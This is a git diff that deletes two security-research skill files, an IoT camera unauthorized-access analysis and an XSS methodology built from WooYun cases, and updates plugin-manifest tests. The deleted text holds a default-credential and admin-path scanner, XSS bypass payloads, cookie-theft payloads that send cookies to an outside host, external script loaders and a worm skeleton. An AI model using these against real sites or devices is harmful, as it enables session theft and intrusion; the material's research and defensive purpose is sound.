return render_template('admin.html')
```
**Layer 3: Deployment Configuration Errors**
- **Insecure default configuration**: Device ships with admin backend requiring no authentication, relying on "post-deployment configuration"
- **Configuration oversight**: Operations personnel fail to enable authentication mechanisms or modify default configurations
- **Missing documentation**: Vendor does not provide security configuration guides
#### 9.2.2 Root Cause Analysis: Systemic Security Issues
**Core Insight**: This is not simply a "forgot to add a password" issue, but reflects a systemic security dilemma in the IoT device industry:
1. **Cost-Driven vs. Security-Driven**
- IoT device manufacturers pursue minimal cost
- Security features are viewed as "unnecessary" additional costs
- Authentication modules increase hardware overhead (CPU/RAM) and development costs
2. **Usability Prioritized Over Security**
- Devices need rapid debugging during deployment; "no login required" improves deployment efficiency
- Security mechanisms are forgotten after deployment
- Creates the "development convenience = production insecurity" paradox
3. **Long-Tail Vulnerability Management Challenge**
- Once deployed, monitoring device firmware updates are extremely difficult
- Vulnerability exposure periods span years (2015 vulnerabilities may still exist in 2020)
- Cannot iterate and fix as quickly as web applications
4. **Attack Surface Exposed to Public Internet**
- As IoT proliferates, more devices are directly exposed to the internet (for remote management)
- Search engines like Shodan can easily discover unauthorized devices
- Creates an asymmetric situation of "low attack cost, high defense cost"
### 9.3 Monitoring Device Unauthorized Access Attack Surface Matrix
| Attack Vector | Default Path | Typical Impact | Detection Method |
|--------------|-------------|----------------|-----------------|
| Admin backend | `/admin/index.jsp` | Full device control | Direct access |
| Video stream | `/mjpg/video.mjpg` | Surveillance video leakage | Open with VLC player |
| Configuration file | `/config.ini` | Credential disclosure | curl download |
| Log files | `/logs/` | Internal information leakage | Path traversal |
| Firmware download | `/firmware/` | Firmware reverse engineering | Directory enumeration |
| RTSP stream | `rtsp://ip:554/stream` | Real-time video leakage | ffplay playback |
### 9.4 Testing Methodology
#### 9.4.1 Monitoring Device Unauthorized Access Detection Flow
```mermaid
graph TD
A[Discover target IP] --> B[Port scan to identify device type]
B --> C{Web service identified?}
C -->|Yes| D[Enumerate common admin paths]
C -->|No| E[Probe RTSP/ONVIF protocols]
D --> F{Returns admin interface?}
F -->|Yes| G[Try default credentials]
F -->|No| H[Test path traversal]
G --> I{Login successful?}
I -->|Yes| J[Flag as unauthorized/weak credentials]
I -->|No| K[Test authentication bypass]
E --> L{RTSP unauthorized?}
L -->|Yes| M[Flag video stream leakage]
J --> N[Generate test report]
K --> N
M --> N
H --> N
```
#### 9.4.2 Automated Detection Script
```python
#!/usr/bin/env python3
"""
Monitoring device unauthorized access detection tool
"""
import requests
from urllib.parse import urljoin
class MonitorDeviceDetector:
def __init__(self, target_ip):
self.target_ip = target_ip
self.results = []
# Common monitoring device admin path dictionary
ADMIN_PATHS = [
'/admin/index.jsp', # Path from this case
'/admin/index.html',
'/admin/login.html',
'/admin.asp',
'/admin.php',
'/admin/index.php',
'/manager/html',
'/webui/',
'/index.html',
'/login.jsp',
'/DCS/view/index.html', # D-Link
'/index.htm', # Vivotek
'/cgi-bin/view/video.cgi', # Many brands
]
# RTSP default paths
RTSP_PATHS = [
'rtsp://{ip}:554/stream1',
'rtsp://{ip}:554/stream',
'rtsp://{ip}:554/live',
'rtsp://{ip}:554/h264',
'rtsp://{ip}:554/mpeg4',
]
# Common default credentials
DEFAULT_CREDS = [
('admin', 'admin'),
('admin', '123456'),
('admin', '12345678'),
('admin', 'password'),
('admin', ''),
('root', 'admin'),
('root', '123456'),
('guest', 'guest'),
]
def check_admin_pages(self):
"""Detect admin page unauthorized access"""
print(f"[*] Checking admin page paths: {self.target_ip}")
for path in self.ADMIN_PATHS:
url = f"http://{self.target_ip}{path}"
try:
resp = requests.get(url, timeout=5, verify=False)
# Determine unauthorized access
if resp.status_code == 200 and 'login' not in resp.url.lower():
self.results.append({
'type': 'admin_unauth',
'url': url,
'status': 'unauthorized_access',
'evidence': f'Direct access without authentication: {path}'
})
print(f"[+] Unauthorized admin interface found: {url}")
# Check if it is a login page (potential brute force target)
elif 'login' in resp.text.lower():
self.results.append({
'type': 'login_page',
'url': url,
'status': 'brute_force_candidate',
'evidence': f'Login page found: {path}'
})
print(f"[*] Login page found: {url}")
except Exception as e:
pass
def check_default_credentials(self, login_url):
"""Test default credentials"""
print(f"[*] Testing default credentials: {login_url}")
for username, password in self.DEFAULT_CREDS:
# POST parameters need to be adjusted based on specific form structure
try:
session = requests.Session()
resp = session.post(login_url, data={
'username': username,
'password': password
}, timeout=5)
if 'dashboard' in resp.url or 'admin' in resp.url:
self.results.append({
'type': 'weak_password',
'url': login_url,
'cred': f'{username}:{password}',
'status': 'default_creds_working'
})
print(f"[+] Default credentials valid: {username}:{password}")
return True
except Exception:
pass
return False
def check_rtsp_streams(self):
"""Detect unauthorized RTSP streams"""
print(f"[*] Checking RTSP streams: {self.target_ip}")
# Use ffplay or vlc for testing
for stream_path in self.RTSP_PATHS:
stream_url = stream_path.format(ip=self.target_ip)
# Use curl to test connectivity (without actual playback)
import subprocess
try:
result = subprocess.run(
['curl', '-s', '--connect-timeout', '3', stream_url],
capture_output=True,
timeout=5
)
if result.returncode == 0:
self.results.append({
'type': 'rtsp_unauth',
'url': stream_url,
'status': 'rtsp_stream_accessible'
})
print(f"[+] Unauthorized RTSP stream: {stream_url}")
except Exception:
pass
def run_full_test(self):
"""Execute full detection"""
print(f"[*] Starting monitoring device detection: {self.target_ip}")
print("=" * 60)
# 1. Check admin pages
self.check_admin_pages()
# 2. Check RTSP streams
self.check_rtsp_streams()
# 3. Generate report
print("\n" + "=" * 60)
print(f"[*] Detection complete, {len(self.results)} issues found")
print("=" * 60)
return self.results
# Usage example
if __name__ == '__main__':
import sys
if len(sys.argv) < 2:
print("Usage: python3 monitor_device_detector.py <target_ip>")
sys.exit(1)
target = sys.argv[1]
detector = MonitorDeviceDetector(target)
results = detector.run_full_test()
# Output JSON report
import json
print("\n[JSON Report]")
print(json.dumps(results, indent=2, ensure_ascii=False))
```
### 9.5 Monitoring Device Exploitation Chain
```mermaid
graph LR
A[Unauthorized admin backend access] --> B[Obtain device config info]
B --> C[Discover other internal devices]
C --> D[Lateral movement]
A --> E[Modify network config]
E --> F[DNS hijacking]
A --> G[Enable remote debugging]
G --> H[Implant backdoor]
A --> I[Export recordings]
I --> J[Privacy breach / extortion]
```
### 9.6 Defense System Recommendations
#### 9.6.1 Short-Term Emergency Measures
```bash
# 1. Network isolation
iptables -A INPUT -p tcp --dport 80 -j DROP # Block public access
iptables -A INPUT -s [IP redacted] -p tcp --dport 80 -j ACCEPT # Internal only
# 2. Enable authentication (if device supports it)
# Login to admin interface -> System Settings -> Security -> Enable password authentication
# 3. Change default ports
# 80 -> 8080 or other non-standard ports
```
#### 9.6.2 Long-Term Architecture Plan
| Level | Measure | Priority |
|-------|---------|----------|
| Network | Deploy in isolated VLAN, prohibit direct public internet access | P0 |
| Access Control | Access via VPN/bastion host | P0 |
| Device Hardening | Force enable authentication, change default passwords | P1 |
| Monitoring | Deploy network traffic monitoring, anomalous access alerts | P1 |
| Updates | Establish firmware update mechanism, apply patches promptly | P2 |
| Replacement | Gradually replace legacy devices with no security design | P2 |
### 9.7 Real-World Impact Assessment
**Data Source**: Based on Shodan search engine statistics
```
# Query for unauthorized monitoring devices
Keywords: "title:Live view" "title:Network Camera"
Results: Approximately 1,200,000 devices exposed globally
Regional distribution:
- China: 250,000+
- United States: 180,000+
- Europe: 150,000+
Security concerns:
1. Residential privacy leakage (home surveillance publicly broadcast)
2. Corporate trade secret leakage (factory, office surveillance)
3. Public safety risks (school, hospital surveillance)
4. Used as DDoS attack botnet nodes
```
### 9.8 Extended Analysis: Structural Challenges of IoT Security
From a **system architecture** perspective, monitoring device unauthorized access reflects deeper industry issues:
**Challenge 1: Broken Security Responsibility Chain**
```
Chip Manufacturer -> Device Maker -> System Integrator -> End User
| | | |
Not concerned Does not want to Does not know Unaware
manage how to manage
```
**Challenge 2: Accumulated Technical Debt**
- Legacy device architectures cannot add security features through firmware updates
- New devices inherit insecure designs for backward compatibility with old protocols
- Creates "path dependency," making thorough restructuring difficult
**Challenge 3: Security Economics Failure**
- Attackers benefit greatly (mass device control for botnets)
- Defenders face high costs (need to update devices one by one)
- Market lacks a "security premium" mechanism; users are unwilling to pay for security
**Strategic Recommendations**:
1. **Regulatory level**: Mandatory security certification standards, similar to CE/FCC certification
2. **Industry level**: Establish security disclosure mechanisms and rapid response alliances
3. **Technical level**: Design zero-trust architecture; devices require authentication from factory
4. **Market level**: Insurance industry introduces cybersecurity insurance to incentivize security investment
---
*Document version: 1.1*
*Last updated: 2026-01-23*
*New content: Monitoring device unauthorized access case analysis*
*Data source: WooYun vulnerability database + Shodan statistics*
-746
View File
@@ -1,746 +0,0 @@
# XSS Vulnerability Analysis Methodology
> Distilled from 7,532 cases | Data source: WooYun Vulnerability Database (2010-2016)
---
## 1. Metacognitive Framework: Understanding the Nature of XSS
### 1.1 Core Principles
The essence of XSS is **breaking trust boundaries**:
- **Input trust**: The application trusts that user input is "data" rather than "code"
- **Output trust**: The browser trusts that content returned by the server is "safe"
- **Context confusion**: Semantic changes of data across different contexts (HTML/JS/CSS/URL)
### 1.2 Three-Layer Analysis Model
```
+-----------------------------------------------------+
| Layer 1: Input Point Identification |
| (Where does data enter?) |
+---------------------------------+-------------------+
| Layer 2: Data Flow Tracing |
| (How does data flow?) |
+---------------------------------+-------------------+
| Layer 3: Output Context |
| (Where does data render?) |
+-----------------------------------------------------+
```
---
## 2. Output Point Identification and Classification
### 2.1 High-Risk Output Point Classification Matrix
| Output Point Type | Trigger Condition | Typical Scenario | Case Source |
|-------------------|-------------------|------------------|-------------|
| User nickname/signature | Page load | Profile pages, comment sections, friend lists | Social networking site, gaming platform, IM client |
| Search box reflection | Search operation | Search results page, search history | Social platform, search engine forums |
| Comments/messages | Content display | Forums, blogs, product reviews | Automotive forum, e-commerce platform, internet company |
| Filename/description | File listing | Cloud storage, photo albums, attachment management | Search engine cloud storage service |
| Email body/subject | Opening email | Email systems | Coremail, webmail service, eYou |
| URL parameter reflection | Page rendering | Share links, redirect pages | Internet company mobile builder, social platform |
| Image alt/src | Image loading | Rich text editors | E-commerce forum |
| Flash parameters | SWF loading | Video players, music players | Social platform, music video site |
| Order notes/remarks | Backend viewing | E-commerce backend, ticket systems | Shopping CMS, e-commerce platform |
| API callback parameters | JS execution | JSONP, callback functions | Music video site Flash |
### 2.2 Hidden Output Points (Commonly Overlooked)
**Case Insight**: The following output points are frequently missed during security testing
1. **HTTP Header Reflection**
- X-Forwarded-For -> Logging systems
- Client-IP -> Backend IP display
- User-Agent -> Traffic analytics
2. **Mobile/WAP Synchronization**
- WAP page submission -> PC display (classifieds website case)
- APP write -> Web display (fintech platform case)
3. **Client-Web Synchronization**
- Client nickname -> Web page (IM client case)
- Desktop application settings -> Web admin panel
4. **Secondary Rendering Points**
- Draft box title listing (search engine knowledge base case)
- Review/audit listing (CMS case)
- Admin backend statistics page
---
## 3. Context Analysis Methods
### 3.1 Context Type Identification
#### 3.1.1 HTML Tag Content Context
```html
<!-- Output point within tag content -->
<div>User input: {{OUTPUT}}</div>
```
**Test Vectors**:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
```
#### 3.1.2 HTML Attribute Context
```html
<!-- Output point within attribute value -->
<input value="{{OUTPUT}}">
<a href="{{OUTPUT}}">
<img src="{{OUTPUT}}">
```
**Test Vectors**:
```html
" onclick=alert(1) "
" onfocus=alert(1) autofocus="
"><script>alert(1)</script><"
" onmouseover=alert(1) x="
```
#### 3.1.3 JavaScript Context
```javascript
// Output point within JS string
var name = '{{OUTPUT}}';
var data = {"key": "{{OUTPUT}}"};
callback('{{OUTPUT}}');
```
**Test Vectors**:
```javascript
';alert(1);//
'-alert(1)-'
\';alert(1);//
</script><script>alert(1)</script>
```
**Real-World Case (social platform)**:
```javascript
// Original code
backurl=http://...?url=aaaaaaaa',a:(alert(1))//
// Closing JSON object to achieve code execution
```
#### 3.1.4 URL Context
```html
<a href="{{OUTPUT}}">
<iframe src="{{OUTPUT}}">
```
**Test Vectors**:
```
javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
```
#### 3.1.5 CSS Context
```html
<div style="{{OUTPUT}}">
<style>{{OUTPUT}}</style>
```
**Test Vectors (IE-specific)**:
```css
xss:expression(alert(1))
xss:\65\78\70\72\65\73\73\69\6f\6e(alert(1))
```
### 3.2 Quick Context Determination Flow
```
+-- Examine output location in source code
|
+-- Inside <script> tag? -> JavaScript context
| |-- Check quote type (single/double), whether in string/object/function
|
+-- Inside HTML attribute? -> Attribute context
| |-- Check attribute type (event/src/href/regular)
|
+-- Inside tag content? -> HTML context
| |-- Check for special tags (textarea/title/script/style)
|
+-- Inside URL? -> URL context
| |-- Check protocol restrictions, encoding handling
|
+-- Inside CSS? -> CSS context
|-- Check whether expression is supported
```
---
## 4. Bypass Techniques
### 4.1 Encoding Bypass
#### 4.1.1 HTML Entity Encoding
**Scenario**: `<>` are filtered but HTML entities are not
```html
<!-- Original filtering -->
<script> -> filtered
<!-- Bypass method -->
&#60;script&#62;alert(1)&#60;/script&#62;
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;
```
**Real-World Case (automotive forum)**:
```html
<!-- Direct insertion blocked -->
<script>alert(document.cookie)</script>
<!-- HTML decimal entity bypass successful -->
&#60;script&#62;alert(document.cookie)&#60;/script&#62;
```
#### 4.1.2 Unicode Encoding
**Scenario**: WAF or filter does not handle Unicode
```javascript
// Original
<iframe/onload=alert(1)>
// Unicode encoding bypass
\u003ciframe\u002fonload\u003dalert(1)\u003e
// Real-world case (PC manufacturer forum Flash XSS)
https://example.com/[redacted]
```
#### 4.1.3 Base64 Encoding
**Scenario**: data protocol combined with base64
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
```
#### 4.1.4 CSS Encoding (IE)
```css
/* Hexadecimal encoding */
xss:\65\78\70\72\65\73\73\69\6f\6e(alert(1))
```
### 4.2 Tag Mutation Bypass
#### 4.2.1 Case Confusion
```html
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
```
#### 4.2.2 Tag Separator Mutation
```html
<script/src=//xss.com/x.js> <!-- Slash replacing space -->
<script src=//xss.com/x.js> <!-- Tab replacing space -->
<script
src=//xss.com/x.js> <!-- Newline replacing space -->
```
#### 4.2.3 Attribute Separator Mutation
```html
<img src=x onerror=alert(1)> <!-- No quotes -->
<img src=x onerror='alert(1)'> <!-- Single quotes -->
<img src=x onerror="alert(1)"> <!-- Double quotes -->
```
### 4.3 Event Trigger Bypass
#### 4.3.1 Alternative Event Handlers
```html
<!-- Alternatives when common events are filtered -->
<img src=x onerror=alert(1)> <!-- Image load error -->
<svg onload=alert(1)> <!-- SVG load -->
<body onload=alert(1)> <!-- Page load -->
<input onfocus=alert(1) autofocus> <!-- Auto focus -->
<select autofocus onfocus=alert(1)> <!-- Select focus -->
<textarea autofocus onfocus=alert(1)> <!-- Textarea focus -->
<marquee onstart=alert(1)> <!-- Marquee start -->
<video><source onerror=alert(1)> <!-- Video source error -->
<audio src=x onerror=alert(1)> <!-- Audio error -->
<details open ontoggle=alert(1)> <!-- Details toggle -->
<frameset onload=alert(1)> <!-- Frameset load -->
```
**Real-World Case (eYou email system)**:
```html
<!-- autofocus + onfocus combination -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(2)>
<textarea autofocus onfocus=alert(3)>
```
#### 4.3.2 User Interaction Events
```html
<div onmouseover=alert(1)>hover me</div>
<div onmouseout=alert(1)>leave me</div>
<div onclick=alert(1)>click me</div>
<div oncontextmenu=alert(1)>right click</div>
```
### 4.4 WAF/Filter Bypass
#### 4.4.1 Character Insertion Bypass
**Real-World Case (WAF bypass)**:
```html
<!-- Adding dots before/after <> to bypass -->
.<script src=http://localhost/1.js>.
```
#### 4.4.2 Comment Interference
```html
<!--[if true]><img onerror=alert(1) src=-->
```
#### 4.4.3 Null Byte Bypass
```html
<scr\x00ipt>alert(1)</script>
<img src=x o\x00nerror=alert(1)>
```
#### 4.4.4 Double-Write Bypass
```html
<!-- Filter removes "script" once -->
<scrscriptipt>alert(1)</scrscriptipt>
```
### 4.5 Length Restriction Bypass
#### 4.5.1 External JS Loading
```html
<!-- Shortest external load -->
<script src=//xss.pw/j>
<!-- Combined with short domains -->
<script src=//short.example/xxx>
```
#### 4.5.2 Segmented Injection
**Real-World Case (social networking site)**:
```javascript
// Using String.fromCharCode to bypass length limits and keyword filtering
// Encode payload as character code sequence then execute
```
#### 4.5.3 DOM Concatenation
```javascript
// Creating script tag via DOM
var s=document.createElement('script');s.src='//x.com/x.js';document.body.appendChild(s);
```
### 4.6 HTTPOnly Bypass
#### 4.6.1 Flash Method
**Real-World Case (cloud storage service)**:
```
Using Flash interfaces to obtain user information, bypassing httponly restrictions
Calling JS interfaces through Flash to implement cookie alternatives
```
#### 4.6.2 CSRF Alternative
When cookies cannot be obtained, use CSRF approach instead:
- Execute sensitive operations (change password, add admin)
- Read page tokens
- Send phishing forms
---
## 5. DOM-based XSS Analysis
### 5.1 Dangerous DOM Sources
```javascript
// User-controllable DOM sources
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
document.referrer
location
location.href
location.search
location.hash
location.pathname
window.name
document.cookie
```
### 5.2 Dangerous DOM Sinks
```javascript
// Direct execution functions
setTimeout()
setInterval()
Function()
// HTML injection (dangerous methods, should be avoided)
innerHTML
outerHTML
insertAdjacentHTML()
// Attribute setting
element.src
element.href
element.action
```
### 5.3 DOM XSS Case Analysis
**Case 1: Improper document.domain Setting (internet company)**
```javascript
// Vulnerable code
var g_sDomain = QSFL.excore.getURLParam("domain");
document.domain = g_sDomain;
// Exploitation (Webkit browsers)
https://example.com/[redacted]
// Can set document.domain to "com", breaking same-origin policy
```
**Case 2: Flash htmlText Injection (social platform)**
```actionscript
// Flash htmlText supports <img> tags for loading SWFs
this.txt_songName.htmlText = param1.songName;
// Exploitation
// Set song name to: <img src="https://example.com/[redacted]">
// Flash loads and executes malicious SWF
```
### 5.4 DOM XSS Testing Flow
```
1. Identify JavaScript code on the page
2. Locate DOM source usage points
3. Trace data flow to DOM sinks
4. Check for filtering/encoding
5. Construct PoC for verification
```
---
## 6. Flash XSS Analysis
### 6.1 Dangerous Flash Parameters
```actionscript
// ExternalInterface.call injection
ExternalInterface.call("function", userInput);
// Dangerous allowScriptAccess setting
allowscriptaccess="always" // Allows cross-domain JS calls
// navigateToURL
navigateToURL(new URLRequest("javascript:alert(1)"));
```
### 6.2 crossdomain.xml Exploitation
**Real-World Case (webmail service)**:
```xml
<cross-domain-policy>
<allow-access-from domain="*.example.com"/>
</cross-domain-policy>
```
Exploitation approach:
1. Find an upload point on *.example.com (image disguised as SWF)
2. Upload malicious SWF
3. Read webmail service data through Flash
### 6.3 Flash XSS Rootkit
**Real-World Case (music video site)**:
```
1. Flash player stores LocalSharedObject (LSO)
2. LSO data is read and executed on the page
3. Attacker poisons LSO, achieving persistent XSS
```
---
## 7. Payload Library
### 7.1 Basic Detection Payloads
```html
<!-- Simple alert -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<!-- Image error trigger -->
<img src=x onerror=alert(1)>
<img/src=x onerror=alert(1)>
<!-- SVG trigger -->
<svg onload=alert(1)>
<svg/onload=alert(1)>
<!-- Mouse events -->
"onmouseover="alert(1)"
' onmouseover='alert(1)'
```
### 7.2 Cookie Theft Payloads
```html
<!-- Basic theft -->
<script>new Image().src="https://example.com/[redacted]"+document.cookie</script>
<!-- Using fetch -->
<script>fetch('https://example.com/[redacted]'+document.cookie)</script>
<!-- Via img -->
<img src=x onerror="new Image().src='https://example.com/[redacted]'+document.cookie">
```
### 7.3 External JS Loading Payloads
```html
<!-- Standard method -->
<script src=//xss.com/x.js></script>
<!-- Dynamic creation -->
<script>var s=document.createElement('script');s.src='//xss.com/x.js';document.body.appendChild(s)</script>
<!-- Ultra-short payload -->
<script src=//xss.pw/j>
```
### 7.4 Bypass Payloads
```html
<!-- Unicode encoding -->
<iframe/onload=alert(1)> -> Convert to Unicode
<!-- HTML entities -->
&#60;script&#62;alert(1)&#60;/script&#62;
<!-- Base64 -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<!-- String concatenation to bypass keywords -->
<script>window['al'+'ert'](1)</script>
<!-- fromCharCode bypass -->
<script>String.fromCharCode(97,108,101,114,116,40,49,41)</script>
```
### 7.5 Worm Payload Examples
**Social networking site worm code structure**:
```javascript
function worm(){
jQuery.post("https://example.com/[redacted]", {
"content": "<payload_with_self_propagation>",
// ... other params
})
}
worm()
```
**Core elements**:
1. Obtain current user identity (cookie/token)
2. Construct auto-publishing content
3. Content contains the same malicious code
4. Trigger condition: view/visit
---
## 8. Testing Workflow and Methodology
### 8.1 Black-Box Testing Flow
```
+------------------------------------------------+
| 1. Information Gathering |
| - Identify all input points |
| - Record parameter names and locations |
| - Determine data types and purposes |
+----------------------+-------------------------+
|
v
+------------------------------------------------+
| 2. Initial Probing |
| - Input special characters: <>"';& |
| - Observe encoding in responses |
| - Determine output context |
+----------------------+-------------------------+
|
v
+------------------------------------------------+
| 3. Payload Construction |
| - Select payload based on context |
| - Attempt to close existing tags/attributes |
| - Test event handlers |
+----------------------+-------------------------+
|
v
+------------------------------------------------+
| 4. Bypass Testing |
| - Encoding bypass |
| - Tag mutation |
| - Alternative events |
+----------------------+-------------------------+
|
v
+------------------------------------------------+
| 5. Exploitation Verification |
| - Confirm code execution |
| - Test cookie retrieval |
| - Verify actual impact |
+------------------------------------------------+
```
### 8.2 Detection Checklist
**Input Point Checks**:
- [ ] URL parameters (GET)
- [ ] Form fields (POST)
- [ ] HTTP headers (User-Agent, Referer, X-Forwarded-For)
- [ ] Cookie values
- [ ] Filenames/file content
- [ ] JSON/XML data
**Output Point Checks**:
- [ ] Direct HTML output
- [ ] JavaScript variable assignment
- [ ] Within HTML attributes
- [ ] Within URLs
- [ ] Within CSS
- [ ] Within error messages
**Context Checks**:
- [ ] Inside a tag
- [ ] Inside an attribute
- [ ] Inside a JS string
- [ ] Quote type (single/double/none)
- [ ] HTML encoding present
- [ ] JS encoding present
### 8.3 Blind XSS Strategy
**Applicable Scenarios**:
- Admin backend systems
- Content review systems
- Ticket/helpdesk systems
- Feedback/contact forms
**Blind XSS Payload Example**:
```html
<script src=https://example.com/[redacted]
```
**Successful Cases**:
- Government vehicle management office: Blind injection via feedback form gained backend access
- Medical Q&A platform: Blind injection via bio field obtained backend cookies
- Gaming platform: Blind injection via user nickname gained admin access
---
## 9. Vulnerability Chaining
### 9.1 XSS + CSRF
**Case (CMS platform)**:
1. Obtain page Token via XSS
2. Construct CSRF request using the Token
3. Execute admin operations (delete, modify)
### 9.2 XSS + SQL Injection
**Case (email system)**:
1. Blind XSS to obtain admin cookies
2. Access backend functionality using cookies
3. SQL injection in backend for further exploitation
### 9.3 XSS + File Upload
**Case (recruitment CMS)**:
1. Discover KindEditor demo files
2. Upload HTML file containing XSS
3. Lure admin to visit and trigger
### 9.4 XSS -> Account Hijacking -> Privilege Escalation
**Case (social platform worm)**:
```
XSS trigger -> Obtain skey -> Forge cookie ->
Auto-post to social feed -> Auto-follow -> Worm propagation
```
---
## 10. Defensive Insights
### 10.1 Common Defense Mistakes
1. **Only filtering script tags**: Ignoring other tags and events
2. **Only filtering lowercase**: Case confusion bypass
3. **Blocklist filtering**: Always missing some tags/events
4. **Client-side filtering**: Bypass by intercepting requests
5. **Single-pass filtering**: Double-write bypass
6. **Only filtering input**: Ignoring secondary encoding issues
### 10.2 Effective Defense Measures
1. **Output encoding**: Choose correct encoding based on context
- HTML context: HTML entity encoding
- JS context: JavaScript encoding
- URL context: URL encoding
2. **CSP policy**: Restrict script sources
3. **HTTPOnly**: Protect cookies
4. **Input validation**: Allowlist-based validation
---
## Appendix: Case Index
| Vulnerability Type | Typical Cases | Key Technical Points |
|-------------------|---------------|---------------------|
| Stored XSS | Classifieds site, automotive forum, social networking site | User input storage, multi-point triggering |
| Reflected XSS | Social platform, state-owned bank, major portal | URL parameter reflection |
| DOM XSS | Internet company document.domain, social platform Flash | Client-side code execution |
| Flash XSS | Music video site rootkit, webmail crossdomain | SWF security configuration |
| mXSS | Social platform email, webmail service | Browser parsing differences |
| Blind XSS | Government office, e-commerce platform, medical Q&A | Backend triggering |
| Worm XSS | Social networking site, social platform | Auto-propagation |
---
*This document is distilled from real WooYun vulnerability cases, intended solely for security research and defensive reference*
+1 -2
View File
@@ -53,8 +53,7 @@
"sharp-edges",
"supply-chain-risk-auditor",
"variant-analysis",
"vuln-report",
"wooyun-legacy"
"vuln-report"
]
},
"huggingface": {
+50
View File
@@ -0,0 +1,50 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import { existsSync, readFileSync, readdirSync } from "node:fs";
import { join } from "node:path";
const REPO = process.env.REPO || process.cwd();
const packageJson = JSON.parse(readFileSync(join(REPO, "package.json"), "utf8"));
const plugin = JSON.parse(
readFileSync(join(REPO, ".claude-plugin", "plugin.json"), "utf8"),
);
const marketplace = JSON.parse(
readFileSync(join(REPO, ".claude-plugin", "marketplace.json"), "utf8"),
);
test("Claude Code plugin manifest identifies the package and bundled skills", () => {
assert.equal(plugin.name, "opencode-power-pack");
assert.equal(plugin.displayName, "OpenCode Power Pack");
assert.equal(plugin.version, packageJson.version);
assert.equal(plugin.skills, "./skills/");
assert.equal(plugin.repository, "https://github.com/waybarrios/opencode-power-pack");
assert.match(plugin.description, /Claude Code/i);
assert.ok(plugin.keywords.includes("claude-code"));
const names = readdirSync(join(REPO, "skills")).filter((name) =>
existsSync(join(REPO, "skills", name, "SKILL.md")),
);
assert.equal(names.length, 54);
});
test("Claude Code marketplace installs the plugin from the repository root", () => {
assert.equal(marketplace.name, "opencode-power-pack");
assert.equal(marketplace.owner.name, "Wayner Barrios");
assert.equal(marketplace.plugins.length, 1);
const [entry] = marketplace.plugins;
assert.equal(entry.name, plugin.name);
assert.equal(entry.source, "./");
assert.match(entry.description, /Fifty-four workflows/i);
});
test("README documents namespaced Claude Code installation and verification", () => {
const readme = readFileSync(join(REPO, "README.md"), "utf8");
assert.match(readme, /\/plugin marketplace add waybarrios\/opencode-power-pack/);
assert.match(
readme,
/\/plugin install opencode-power-pack@opencode-power-pack/,
);
assert.match(readme, /claude plugin validate \. --strict/);
assert.match(readme, /\/opencode-power-pack:code-review/);
});
+6 -2
View File
@@ -15,6 +15,7 @@ test("Codex plugin manifest identifies the repository and skills", () => {
assert.equal(manifest.skills, "./skills/");
assert.equal(manifest.repository, "https://github.com/waybarrios/opencode-power-pack");
assert.match(manifest.description, /Codex/i);
assert.match(manifest.description, /Claude Code/i);
assert.match(manifest.description, /OpenCode/i);
assert.match(manifest.description, /Pi/i);
assert.ok(manifest.keywords.includes("codex"));
@@ -24,7 +25,7 @@ test("Codex plugin exposes every bundled skill with valid basic frontmatter", ()
const names = readdirSync(join(REPO, "skills"))
.filter((name) => existsSync(join(REPO, "skills", name, "SKILL.md")));
assert.equal(names.length, 55);
assert.equal(names.length, 54);
for (const name of names) {
const source = readFileSync(join(REPO, "skills", name, "SKILL.md"), "utf8");
assert.match(source, /^---\r?\n/);
@@ -58,7 +59,10 @@ test("Codex manifest does not declare absent plugin components", () => {
test("repository marketplace installs the root plugin from main", () => {
assert.equal(marketplace.name, "opencode-power-pack");
assert.equal(marketplace.interface.displayName, "Codex + OpenCode + Pi Power Pack");
assert.equal(
marketplace.interface.displayName,
"Claude Code + Codex + OpenCode + Pi Power Pack",
);
assert.equal(marketplace.plugins.length, 1);
const [entry] = marketplace.plugins;
+5
View File
@@ -38,6 +38,11 @@ test("published package relies on native commands and ships every skill", () =>
"project-rule resolution matrix is published",
);
assert.ok(packaged.has(".codex-plugin/plugin.json"), "Codex plugin manifest is published");
assert.ok(packaged.has(".claude-plugin/plugin.json"), "Claude Code plugin manifest is published");
assert.ok(
packaged.has(".claude-plugin/marketplace.json"),
"Claude Code marketplace is published",
);
assert.ok(
packaged.has("skills/code-review/agents/openai.yaml"),
"comprehensive review metadata is published",
+2 -2
View File
@@ -13,10 +13,10 @@ test("Pi package declares the bundled skills directory", () => {
assert.match(packageJson.description, /Pi/);
});
test("Pi package exposes all fifty-five SKILL.md workflows", () => {
test("Pi package exposes all fifty-four SKILL.md workflows", () => {
const skillRoot = join(REPO, packageJson.pi.skills[0]);
const skills = readdirSync(skillRoot)
.filter((name) => existsSync(join(skillRoot, name, "SKILL.md")));
assert.equal(skills.length, 55);
assert.equal(skills.length, 54);
});
+11 -1
View File
@@ -23,6 +23,7 @@ const skillsDir = join(REPO, "skills");
const names = readdirSync(skillsDir).filter((n) =>
existsSync(join(skillsDir, n, "SKILL.md"))
);
let catalogMetadataCharacters = 0;
for (const name of names) {
const skill = parse(readFileSync(join(skillsDir, name, "SKILL.md"), "utf8"));
@@ -32,10 +33,12 @@ for (const name of names) {
assert.equal(skill.fm.name, name, "name matches the directory");
assert.match(skill.fm.name ?? "", NAME_RE, "name matches the slug regex");
const d = skill.fm.description ?? "";
assert.ok(d.length >= 1 && d.length <= 1024, `description length 1..1024 (is ${d.length})`);
assert.ok(d.length >= 1 && d.length <= 600, `description length 1..600 (is ${d.length})`);
assert.ok((skill.fm.license ?? "").length > 0, "license present");
});
catalogMetadataCharacters += name.length + (skill.fm.description ?? "").length;
test(`${name}: SKILL.md body under 500 lines`, () => {
assert.ok(skill.body.split(/\r?\n/).length < 500);
});
